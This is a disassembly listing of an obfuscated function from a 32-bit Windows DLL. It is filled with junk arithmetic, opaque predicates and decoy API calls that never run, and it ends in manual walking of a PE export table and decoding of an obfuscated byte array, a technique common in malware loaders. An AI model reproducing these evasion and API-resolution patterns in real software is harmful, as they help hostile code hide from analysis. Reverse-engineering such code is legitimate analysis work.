mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 1
jg 0x10036e51
mov eax, dword [ebp - 0x93c]
dec eax
mov dword [ebp - 0x93c], eax
jmp 0x10036e2c
jmp 0x10036e00
jmp 0x10036fd9
mov dword [ebp - 0x3bc], 1
mov dword [ebp - 0x188], 7
mov dword [ebp - 0xf10], 0x1d2daffa
cmp dword [ebp - 0x3bc], 0
jle 0x10036e8b
mov dword [ebp - 0x944], 1
jmp 0x10036e92
and dword [ebp - 0x944], 0
cmp dword [ebp - 0x944], 0x627e80a7
jl 0x10036eaa
mov dword [ebp - 0x94c], 1
jmp 0x10036eb1
and dword [ebp - 0x94c], 0
mov eax, dword [ebp - 0x94c]
mov dword [ebp - 0x188], eax
mov esi, dword [ebp - 0x188]
push 1
lea ecx, [ebp - 0xcfc]
call fcn.1001bad7
cmp dword [eax], esi
jle 0x10036ee0
mov dword [ebp - 0x954], 1
jmp 0x10036ee7
and dword [ebp - 0x954], 0
mov eax, dword [ebp - 0xa8]
cmp eax, dword [ebp - 0x954]
jne 0x10036f01
mov dword [ebp - 0x95c], 1
jmp 0x10036f08
and dword [ebp - 0x95c], 0
cmp dword [ebp - 0x95c], 0xfffffffc
jle 0x10036f1d
mov dword [ebp - 0x964], 1
jmp 0x10036f24
and dword [ebp - 0x964], 0
mov eax, dword [ebp - 0x3bc]
cmp dword [ebp - 0x964], eax
jge 0x10036f47
mov eax, 0xfffd
test eax, eax
je 0x10036f47
mov dword [ebp - 0x96c], 1
jmp 0x10036f4e
and dword [ebp - 0x96c], 0
mov eax, dword [ebp - 0x3bc]
cmp eax, dword [ebp - 0x96c]
jge 0x10036f68
mov dword [ebp - 0xffc], 1
jmp 0x10036f6f
and dword [ebp - 0xffc], 0
mov eax, dword [ebp - 0x3bc]
mov dword [ebp - 0x1318], eax
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0xf10], eax
mov dword [ebp - 0x188], 0xfffffff3
jmp 0x10036fa0
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0xfffffff9
jle 0x10036fd9
mov dword [ebp - 0xfb8], 0x933b839b
mov byte [ebp - 0x145], 0
movzx eax, byte [ebp - 0x145]
test eax, eax
je 0x10036fcb
call dword [sym.imp.KERNEL32.dll_GetACP]
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0xfb8], eax
jmp 0x10036f93
mov eax, dword [ebp - 0x90]
cmp eax, dword [ebp - 0x90]
jl 0x10036ff3
mov dword [ebp - 0x97c], 1
jmp 0x10036ffa
and dword [ebp - 0x97c], 0
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x90]
lea esi, [ecx + eax - 0x9491]
push 1
lea ecx, [ebp - 0xcfc]
call fcn.1001bad7
cmp dword [eax], esi
jle 0x1003702a
mov dword [ebp - 0xf18], 1
jmp 0x10037031
and dword [ebp - 0xf18], 0
push 0
lea ecx, [ebp - 0xcfc]
call fcn.1001bad7
mov esi, eax
push 0
lea ecx, [ebp - 0xcfc]
call fcn.1001bad7
mov eax, dword [eax]
cmp eax, dword [esi]
jge 0x1003705f
mov dword [ebp - 0x974], 1
jmp 0x10037066
and dword [ebp - 0x974], 0
mov eax, dword [ebp - 0x90]
cmp eax, dword [ebp - 0x974]
jne 0x10037080
mov dword [ebp - 0x984], 1
jmp 0x10037087
and dword [ebp - 0x984], 0
mov eax, dword [ebp - 0x97c]
cmp eax, dword [ebp - 0x984]
je 0x100370a1
mov dword [ebp - 0x98c], 1
jmp 0x100370a8
and dword [ebp - 0x98c], 0
push 1
lea ecx, [ebp - 0xcfc]
call fcn.1001bad7
mov ecx, dword [ebp - 0x98c]
mov dword [eax], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcfc]
call fcn.1001bab2
lea ecx, [ebp - 0x994]
call fcn.10039c60
mov eax, dword [eax + 4]
mov dword [ebp - 0x1cc], eax
mov dword [ebp - 0x7c], 1
mov dword [ebp - 0x58], 0x60d743cc
mov dword [ebp - 0x22c], 0xc6f79b34
mov dword [ebp - 0xa2c], 0xfffffffe
mov dword [ebp - 0x234], 0xb1a73b02
push 1
lea ecx, [ebp - 0x120c]
call fcn.1001ba30
mov dword [ebp - 4], 0x42
mov dword [ebp - 0xd80], 0x833c0c38
mov dword [ebp - 0x1524], 1
mov dword [ebp - 0x24], 0
jmp 0x10037144
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x1003715a
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x4d8], 0xffffffff
jmp 0x1003713d
mov dword [ebp - 0x24], 0
jmp 0x1003716a
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x10037180
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x10f4], 0xffffffff
jmp 0x10037163
mov dword [ebp - 0x24], 0
jmp 0x10037190
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x100371a6
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xd24], 0xdedc29bf
jmp 0x10037189
mov dword [ebp - 0x24], 0
jmp 0x100371b6
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
jge 0x100371d2
push dword [ebp - 0x24]
lea ecx, [ebp - 0x120c]
call fcn.1001bad7
mov dword [eax], 0xf36aa128
jmp 0x100371af
cmp dword [ebp - 0x7c], 0
je 0x10037221
cmp dword [ebp - 0x7c], 1
jg 0x100371ea
mov dword [ebp - 0x99c], 1
jmp 0x100371f1
and dword [ebp - 0x99c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x99c]
mov dword [ebp + eax - 0x4d8], ecx
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x1320], eax
mov eax, dword [ebp - 0x7c]
sub eax, dword [ebp - 0x7c]
je 0x10037221
mov dword [ebp - 0x9a4], 1
jmp 0x10037228
and dword [ebp - 0x9a4], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x9a4], eax
jg 0x1003723f
mov dword [ebp - 0x9ac], 1
jmp 0x10037246
and dword [ebp - 0x9ac], 0
cmp dword [ebp - 0x9ac], 3
jb 0x1003725b
mov dword [ebp - 0x9b4], 1
jmp 0x10037262
and dword [ebp - 0x9b4], 0
cmp dword [ebp - 0x9b4], 0xc5c6a3f1
jae 0x10037280
mov eax, 0x595a
test eax, eax
jne 0x10037280
and dword [ebp - 0x9bc], 0
jmp 0x1003728a
mov dword [ebp - 0x9bc], 1
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x9bc], eax
jg 0x100372a1
mov dword [ebp - 0x9c4], 1
jmp 0x100372a8
and dword [ebp - 0x9c4], 0
mov eax, dword [ebp - 0x7c]
imul eax, dword [ebp - 0x9c4]
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0x7017
jne 0x100372d0
mov dword [ebp - 0x9cc], 1
jmp 0x100372d7
and dword [ebp - 0x9cc], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x9cc], eax
jl 0x100372f4
mov eax, 0xcbedfa9
test eax, eax
jne 0x100372f4
and dword [ebp - 0x9d4], 0
jmp 0x100372fe
mov dword [ebp - 0x9d4], 1
mov eax, dword [ebp - 0x7c]
cmp eax, dword [ebp - 0x9d4]
jge 0x10037315
mov dword [ebp - 0x1000], 1
jmp 0x1003731c
and dword [ebp - 0x1000], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x4d8]
cmp eax, dword [ebp - 0x7c]
jg 0x10037339
mov dword [ebp - 0x9dc], 1
jmp 0x10037340
and dword [ebp - 0x9dc], 0
cmp dword [ebp - 0x9dc], 0x50e8f7cf
jle 0x10037380
mov byte [ebp - 0x156], 0
movzx eax, byte [ebp - 0x156]
test eax, eax
je 0x1003737b
push 0
push 0
push 0
push 0xe72
push 0x6c5
push 0
push 0x1593
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
jmp 0x10037729
mov dword [ebp - 0x9fc], 0
mov dword [ebp - 0xf20], 0xa349a2dd
mov dword [ebp - 0xa64], 5
mov dword [ebp - 0x1464], 0x9e5faf1b
push 4
lea ecx, [ebp - 0x1200]
call fcn.1001ba30
mov byte [ebp - 4], 0x43
mov dword [ebp - 0x3c4], 0
jmp 0x100373d2
mov eax, dword [ebp - 0x3c4]
inc eax
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 4
jge 0x100373f1
push dword [ebp - 0x3c4]
lea ecx, [ebp - 0x1200]
call fcn.1001bad7
or dword [eax], 0xffffffff
jmp 0x100373c5
mov dword [ebp - 0x58], 0
jmp 0x10037401
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 2
jg 0x1003771a
mov dword [ebp - 0x1008], 0x98b9db5d
cmp dword [ebp - 0x58], 0
jne 0x10037533
mov eax, 0x12ed4033
test eax, eax
je 0x1003743d
cmp dword [ebp - 0xa2c], 0
je 0x1003743d
mov dword [ebp - 0x9e4], 1
jmp 0x10037444
and dword [ebp - 0x9e4], 0
mov eax, dword [ebp - 0x22c]
cmp dword [ebp - 0x9e4], eax
jg 0x1003745e
mov dword [ebp - 0x9ec], 1
jmp 0x10037465
and dword [ebp - 0x9ec], 0
mov eax, dword [ebp - 0x9fc]
cmp dword [ebp - 0x9ec], eax
je 0x1003747f
mov dword [ebp - 0x9f4], 1
jmp 0x10037486
and dword [ebp - 0x9f4], 0
mov eax, dword [ebp - 0x9f4]
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0xde47
jne 0x100374aa
mov dword [ebp - 0xa04], 1
jmp 0x100374b1
and dword [ebp - 0xa04], 0
mov eax, dword [ebp - 0x9fc]
imul eax, dword [ebp - 0xa04]
cmp eax, 0xfffe
jb 0x100374d1
mov dword [ebp - 0xa0c], 1
jmp 0x100374d8
and dword [ebp - 0xa0c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xa0c]
mov dword [ebp + eax - 0x10f4], ecx
mov eax, 0xe961
cmp eax, 2
jge 0x10037501
mov dword [ebp - 0xa14], 1
jmp 0x10037508
and dword [ebp - 0xa14], 0
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp + eax*4 - 0x4d8]
add eax, dword [ebp - 0xa14]
cmp eax, dword [ebp - 0x22c]
je 0x1003752c
mov dword [ebp - 0xa1c], 1
jmp 0x10037533
and dword [ebp - 0xa1c], 0
cmp dword [ebp - 0x7c], 0
je 0x10037554
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x4d8], 0
je 0x10037554
mov dword [ebp - 0xa24], 1
jmp 0x1003755b
and dword [ebp - 0xa24], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0xa24], eax
jg 0x10037572
mov dword [ebp - 0xa34], 1
jmp 0x10037579
and dword [ebp - 0xa34], 0
mov eax, dword [ebp - 0xa2c]
cmp eax, dword [ebp - 0xa34]
jl 0x10037593
mov dword [ebp - 0xa3c], 1
jmp 0x1003759a
and dword [ebp - 0xa3c], 0
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp + eax*4 - 0x4d8]
cmp eax, dword [ebp - 0xa3c]
jge 0x100375b8
mov dword [ebp - 0xa44], 1
jmp 0x100375bf
and dword [ebp - 0xa44], 0
mov eax, dword [ebp - 0xa44]
mov dword [ebp - 0xf20], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xd24]
inc eax
mov dword [ebp - 0xa4c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xa4c]
mov dword [ebp + eax - 0xd24], ecx
cmp dword [ebp - 0xa4c], 6
jb 0x10037607
mov dword [ebp - 0xa54], 1
jmp 0x1003760e
and dword [ebp - 0xa54], 0
mov eax, dword [ebp - 0xa54]
neg eax
jne 0x10037651
push 2
lea ecx, [ebp - 0x1200]
call fcn.1001bad7
mov dword [ebp - 0x444], eax
mov eax, dword [ebp - 0x444]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x444]
mov ecx, dword [ecx]
inc ecx
mov edx, dword [ebp - 0x444]
mov dword [edx], ecx
test eax, eax
jne 0x10037651
and dword [ebp - 0xfc8], 0
jmp 0x1003765b
mov dword [ebp - 0xfc8], 1
cmp dword [ebp - 0x234], 1
jne 0x10037670
mov dword [ebp - 0xa5c], 1
jmp 0x10037677
and dword [ebp - 0xa5c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10f4]
imul eax, dword [ebp - 0xa5c]
test eax, eax
je 0x100376a8
mov eax, dword [ebp - 0x58]
cmp dword [ebp + eax*4 - 0x4d8], 0
je 0x100376a8
mov dword [ebp - 0xf28], 1
jmp 0x100376af
and dword [ebp - 0xf28], 0
mov dword [ebp - 0xa64], 0x6066
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4d8]
cmp eax, dword [ebp - 0xa64]
jne 0x100376da
mov dword [ebp - 0xa6c], 1
jmp 0x100376e1
and dword [ebp - 0xa6c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4d8]
cmp eax, dword [ebp - 0xa6c]
jne 0x10037702
mov dword [ebp - 0xa74], 1
jmp 0x10037709
and dword [ebp - 0xa74], 0
mov eax, dword [ebp - 0xa74]
mov dword [ebp - 0x1008], eax
jmp 0x100373fa
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x1200]
call fcn.1001bab2
mov dword [ebp - 0x58], 0xffffffe4
jmp 0x10037739
cmp dword [ebp - 0x58], 0x34
jle 0x10037ad4
push 1
lea ecx, [ebp - 0xd14]
call fcn.1001ba30
mov byte [ebp - 4], 0x44
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0xf38], 0xffffffff
mov dword [ebp - 0xa7c], 0x60cc
mov dword [ebp - 0xfd8], 0x1000be50
cmp dword [ebp - 0xa7c], 0x6140
jle 0x1003783d
push 0x1ee5
call dword [sym.imp.USER32.dll_MessageBeep]
and dword [ebp - 0x3cc], 0
jmp 0x100377ad
mov eax, dword [ebp - 0x3cc]
inc eax
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 0x30d1
jge 0x1003783d
and dword [ebp - 0x3d4], 0
jmp 0x100377d3
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x3d4], 0x3726
jge 0x10037838
mov eax, dword [ebp - 0x3cc]
mov ecx, dword [ebp - 0x3d4]
sar eax, cl
cdq
mov dword [ebp - 0xe60], eax
mov dword [ebp - 0xe5c], edx
push dword [ebp - 0xe5c]
push dword [ebp - 0xe60]
lea ecx, [ebp - 0x170c]
call fcn.1000e423
pop ecx
pop ecx
mov dword [ebp - 0xf30], eax
mov ecx, dword [ebp - 0xf30]
call fcn.1001b217
push eax
call fcn.10062533
pop ecx
lea ecx, [ebp - 0x170c]
call fcn.1001b20d
jmp 0x100377c6
jmp 0x100377a0
mov dword [ebp - 0x104], 0
jmp 0x10037856
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 1
jge 0x10037878
push dword [ebp - 0x104]
lea ecx, [ebp - 0xd14]
call fcn.1001bad7
mov dword [eax], 1
jmp 0x10037849
mov byte [ebp - 4], 0x45
cmp dword [ebp - 0xa7c], 0x5d85
jge 0x10037894
push dword [ebp - 0xfd8]
call fcn.10062533
pop ecx
jmp 0x100378b0
mov dword [ebp - 4], 0x44
jmp 0x100378c0
mov dword [ebp - 0x104], 0
jmp 0x100378d9
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 3
jge 0x100378f5
mov eax, dword [ebp - 0x104]
mov dword [ebp + eax*4 - 0x14c0], 0x2d1e5678
jmp 0x100378cc
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x14c0], 1
mov dword [ebp - 0xf38], 1
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x4d8]
push 0
lea ecx, [ebp - 0xd14]
call fcn.1001bad7
cmp esi, dword [eax]
jne 0x1003793a
mov dword [ebp - 0xa84], 1
jmp 0x10037941
and dword [ebp - 0xa84], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xd24]
cmp eax, dword [ebp - 0xa84]
jl 0x10037962
mov dword [ebp - 0xa8c], 1
jmp 0x10037969
and dword [ebp - 0xa8c], 0
push 0
lea ecx, [ebp - 0xd14]
call fcn.1001bad7
mov ecx, dword [ebp - 0xa8c]
cmp ecx, dword [eax]
jne 0x1003798c
mov dword [ebp - 0xa94], 1
jmp 0x10037993
and dword [ebp - 0xa94], 0
push 0
lea ecx, [ebp - 0x120c]
call fcn.1001bad7
mov ecx, dword [ebp - 0xa94]
cmp ecx, dword [eax]
jl 0x100379b6
mov dword [ebp - 0xa9c], 1
jmp 0x100379bd
and dword [ebp - 0xa9c], 0
mov eax, dword [ebp - 0x7c]
add eax, dword [ebp - 0xa9c]
jne 0x100379da
cmp dword [ebp - 0x234], 0
jne 0x100379da
and dword [ebp - 0x1010], 0
jmp 0x100379e4
mov dword [ebp - 0x1010], 1
mov esi, dword [ebp - 0xd80]
push 0
lea ecx, [ebp - 0xd14]
call fcn.1001bad7
cmp esi, dword [eax]
jle 0x10037a07
mov dword [ebp - 0xaa4], 1
jmp 0x10037a0e
and dword [ebp - 0xaa4], 0
mov eax, dword [ebp - 0x44c]
dec eax
mov dword [ebp - 0x44c], eax
mov esi, dword [ebp - 0x44c]
push 0
lea ecx, [ebp - 0xd14]
call fcn.1001bad7
mov eax, dword [eax]
sub eax, esi
cmp eax, dword [ebp - 0xaa4]
jl 0x10037a46
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x120c]
call fcn.1001bab2
cmp dword [ebp - 0x1cc], 0xffffffff
jne 0x10037c0c
mov ecx, 0x10624a10
call fcn.10039ca9
mov ecx, dword [ebp - 0x138]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x10624a10
call fcn.10039cad
and dword [ebp - 0x1c4], 0
jmp 0x10037b24
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x1c4]
cmp ecx, dword [eax + 0x18]
jae 0x10037c0c
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x1d4]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x1c4]
lea eax, [ecx + eax*4]
mov dword [ebp - 0xac4], eax
cmp dword [ebp - 0xac4], 0
je 0x10037c07
mov eax, dword [ebp - 0xac4]
mov ecx, dword [ebp - 0x1d4]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x1634]
call fcn.10039b5e
mov dword [ebp - 4], 0x47
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x1634]
call fcn.100215c8
mov dword [ebp - 0xacc], eax
movzx eax, byte [0x106248e7]
test eax, eax
je 0x10037bb5
mov ecx, 0x10624a10
call fcn.10039c57
movzx eax, al
test eax, eax
jne 0x10037bd5
lea eax, [ebp - 0xacc]
push eax
mov ecx, 0x10624a10
call fcn.10039c6b
mov ecx, dword [ebp - 0x1c4]
mov dword [eax], ecx
mov byte [0x106248e7], 1
cmp dword [ebp - 0x1cc], 0xffffffff
jne 0x10037bf8
mov eax, dword [ebp - 0xacc]
cmp eax, dword [ebp - 0x3dc]
jne 0x10037bf8
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x1cc], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1634]
call fcn.1001b8ce
jmp 0x10037b17
push 4
lea ecx, [ebp - 0x3f0]
call fcn.1001ba30
mov dword [ebp - 4], 0x48
mov dword [ebp - 0x6c], 0xa32b1cec
mov dword [ebp - 0xae4], 0x92f20920
mov dword [ebp - 0xd8c], 0x26fbd10c
mov dword [ebp - 0x1328], 0x81d534a2
mov dword [ebp - 0x51c], 0xffffffff
mov dword [ebp - 0x1558], 0x11ca4b38
mov dword [ebp - 0x10c], 0
jmp 0x10037c72
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 4
jge 0x10037c94
push dword [ebp - 0x10c]
lea ecx, [ebp - 0x3f0]
call fcn.1001bad7
mov dword [eax], 6
jmp 0x10037c65
mov dword [ebp - 0x10c], 0
jmp 0x10037cad
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 1
jge 0x10037cc9
mov eax, dword [ebp - 0x10c]
mov dword [ebp + eax*4 - 0x1330], 6
jmp 0x10037ca0
mov dword [ebp - 0x6c], 3
jmp 0x10037cd9
cmp dword [ebp - 0x6c], 0
jl 0x10037f76
mov dword [ebp - 0xd84], 0xfffffff6
mov dword [ebp - 0x1474], 3
mov dword [ebp - 0x1338], 0xfffffffe
mov dword [ebp - 0x152c], 0
mov dword [ebp - 0x1340], 0x39d3cd36
mov dword [ebp - 0x1484], 0xfffffffc
push 3
lea ecx, [ebp - 0x14d0]
call fcn.1001ba30
mov byte [ebp - 4], 0x49
mov dword [ebp - 0x514], 0xfffffffb
mov dword [ebp - 0x3e4], 0
jmp 0x10037d53
mov eax, dword [ebp - 0x3e4]
inc eax
mov dword [ebp - 0x3e4], eax
cmp dword [ebp - 0x3e4], 3
jge 0x10037d72
push dword [ebp - 0x3e4]
lea ecx, [ebp - 0x14d0]
call fcn.1001bad7
or dword [eax], 0xffffffff
jmp 0x10037d46
push 3
lea ecx, [ebp - 0x3f0]
call fcn.1001bad7
mov esi, eax
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x3f0]
call fcn.1001bad7
mov eax, dword [eax]
cmp eax, dword [esi]
jne 0x10037da1
mov dword [ebp - 0xafc], 1
jmp 0x10037da8
and dword [ebp - 0xafc], 0
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x1348], eax
push 2
lea ecx, [ebp - 0x3f0]
call fcn.1001bad7
cmp dword [ebp - 0x6c], 0xffffffff
jbe 0x10037dd0
mov dword [ebp - 0xad4], 1
jmp 0x10037dd7
and dword [ebp - 0xad4], 0
cmp dword [ebp - 0xad4], 0xfffffff8
jl 0x10037dec
mov dword [ebp - 0xadc], 1
jmp 0x10037df3
and dword [ebp - 0xadc], 0
mov eax, dword [ebp - 0xadc]
mov dword [ebp - 0xae4], eax
mov eax, dword [ebp - 0xae4]
mov dword [ebp - 0x157c], eax
push 1
lea ecx, [ebp - 0x3f0]
call fcn.1001bad7
mov esi, dword [ebp - 0x6c]
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x3f0]
call fcn.1001bad7
cmp esi, dword [eax]
jge 0x10037e4b
push 1
lea ecx, [ebp - 0x3f0]
call fcn.1001bad7
cmp dword [eax], 0
je 0x10037e4b
mov dword [ebp - 0xaec], 1
jmp 0x10037e52
and dword [ebp - 0xaec], 0
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x3f0]
call fcn.1001bad7
mov ecx, dword [ebp - 0xaec]
cmp ecx, dword [eax]
jle 0x10037e76
mov dword [ebp - 0xaf4], 1
jmp 0x10037e7d
and dword [ebp - 0xaf4], 0
push 2
lea ecx, [ebp - 0x3f0]
call fcn.1001bad7
mov ecx, dword [ebp - 0xaf4]
cmp ecx, dword [eax]
jle 0x10037ea0
mov dword [ebp - 0x51c], 0x87b332e
mov eax, dword [ebp - 0x51c]
mov dword [ebp - 0xd8c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3f0]
call fcn.1001bab2
cmp dword [ebp + 0x10], 0
jne 0x10037fca
cmp dword [ebp - 0x1cc], 0xffffffff
je 0x10037fca
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x1d4]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x1cc]
mov ax, word [ecx + eax*2]
mov word [ebp - 0xe4], ax
movzx eax, word [ebp - 0xe4]
cmp eax, 0xffff
je 0x1003840a
movzx eax, word [ebp - 0xe4]
mov ecx, dword [ebp - 0x138]
mov edx, dword [ebp - 0x1d4]
add edx, dword [ecx + 0x1c]
lea eax, [edx + eax*4]
mov dword [ebp - 0xd94], eax
mov eax, dword [ebp - 0xd94]
mov ecx, dword [ebp - 0x1d4]
add ecx, dword [eax]
mov dword [ebp - 0x11c], ecx
mov eax, dword [ebp - 0x11c]
cmp eax, dword [ebp - 0x138]
jbe 0x100383ff
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x220]
mov edx, dword [ebp - 0x138]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0x11c], edx
jae 0x100383ff
mov eax, dword [0x106249a8]
and eax, 2
jne 0x10038075
mov eax, dword [0x106249a8]
or eax, 2
mov dword [0x106249a8], eax
mov dword [ebp - 4], 0x4a
push 0x9b39
call fcn.100124a2
pop ecx
mov byte [0x106249ac], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0x144], 2
mov byte [ebp - 0x143], 0xdc
mov byte [ebp - 0x142], 1
mov byte [ebp - 0x141], 0
mov byte [ebp - 0x140], 0
mov byte [ebp - 0x13f], 8
mov byte [ebp - 0x13e], 4
mov byte [ebp - 0x13d], pe_nt_image_headers32
mov byte [ebp - 0x13c], 0x2c
mov byte [ebp - 0x13b], 0xd4
mov byte [ebp - 0x13a], 0x29
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x144]
and eax, 0xb0
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x144]
or ecx, 0xb0
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x144]
mov byte [ebp + eax - 0x190], cl
mov dword [ebp - 0x40], 2
and dword [ebp - 0x1ec], 0
jmp 0x10038118
cmp dword [ebp - 0x40], 0xb
jae 0x100381f6
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x144]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x40], eax
jne 0x10038162
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x190], 0
mov eax, dword [0x106249a8]
and eax, 4
jne 0x10038242
mov eax, dword [ebp - 0x11c]
jmp 0x10038969
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x110], 6
mov dword [ebp - 0x9c], 0x6e40424b
mov dword [ebp - 0x1358], 0
mov dword [ebp - 0xe8], 0
jmp 0x10038448
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 3
jge 0x10038464
mov eax, dword [ebp - 0xe8]
mov dword [ebp + eax*4 - 0xff4], 0x2280643b
jmp 0x1003843b
mov dword [ebp - 0xe8], 0
jmp 0x1003847d
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 1
jge 0x10038499
mov eax, dword [ebp - 0xe8]
mov dword [ebp + eax*4 - 0xdac], 0x17c264f8
jmp 0x10038470
mov eax, dword [ebp - 0x60]
sub eax, dword [ebp - 0x60]
imul eax, eax, 0x7e44
cmp eax, dword [ebp - 0x60]
jl 0x100384b6
mov dword [ebp - 0x52c], 1
jmp 0x100384bd
and dword [ebp - 0x52c], 0
cmp dword [ebp - 0x52c], 0xc1de
jg 0x100384d5
mov dword [ebp - 0x534], 1
jmp 0x100384dc
and dword [ebp - 0x534], 0
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x534]
jge 0x100384f3
mov dword [ebp - 0x53c], 1
jmp 0x100384fa
and dword [ebp - 0x53c], 0
cmp dword [ebp - 0x53c], 1
ja 0x1003850f
mov dword [ebp - 0x544], 1
jmp 0x10038516
and dword [ebp - 0x544], 0
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x544]
je 0x1003852d
mov dword [ebp - 0x54c], 1
jmp 0x10038534
and dword [ebp - 0x54c], 0
mov eax, dword [ebp - 0x54c]
add eax, dword [ebp - 0x60]
mov dword [ebp - 0x554], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x554]
mov dword [ebp + eax - 0xff4], ecx
cmp dword [ebp - 0x554], 0xe9ab5c29
ja 0x1003856e
mov dword [ebp - 0x55c], 1
jmp 0x10038575
and dword [ebp - 0x55c], 0
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x55c], eax
jle 0x1003858c
mov dword [ebp - 0x564], 1
jmp 0x10038593
and dword [ebp - 0x564], 0
mov eax, dword [ebp - 0x564]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jne 0x100385ca
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xff4], 0
jne 0x100385ca
mov eax, 0xee0cd979
test eax, eax
jne 0x100385ca
and dword [ebp - 0x56c], 0
jmp 0x100385d4
mov dword [ebp - 0x56c], 1
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x56c], eax
jl 0x100385eb
mov dword [ebp - 0x574], 1
jmp 0x100385f2
and dword [ebp - 0x574], 0
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x574], eax
jne 0x10038609
mov dword [ebp - 0x57c], 1
jmp 0x10038610
and dword [ebp - 0x57c], 0
mov eax, dword [ebp - 0x57c]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x9c]
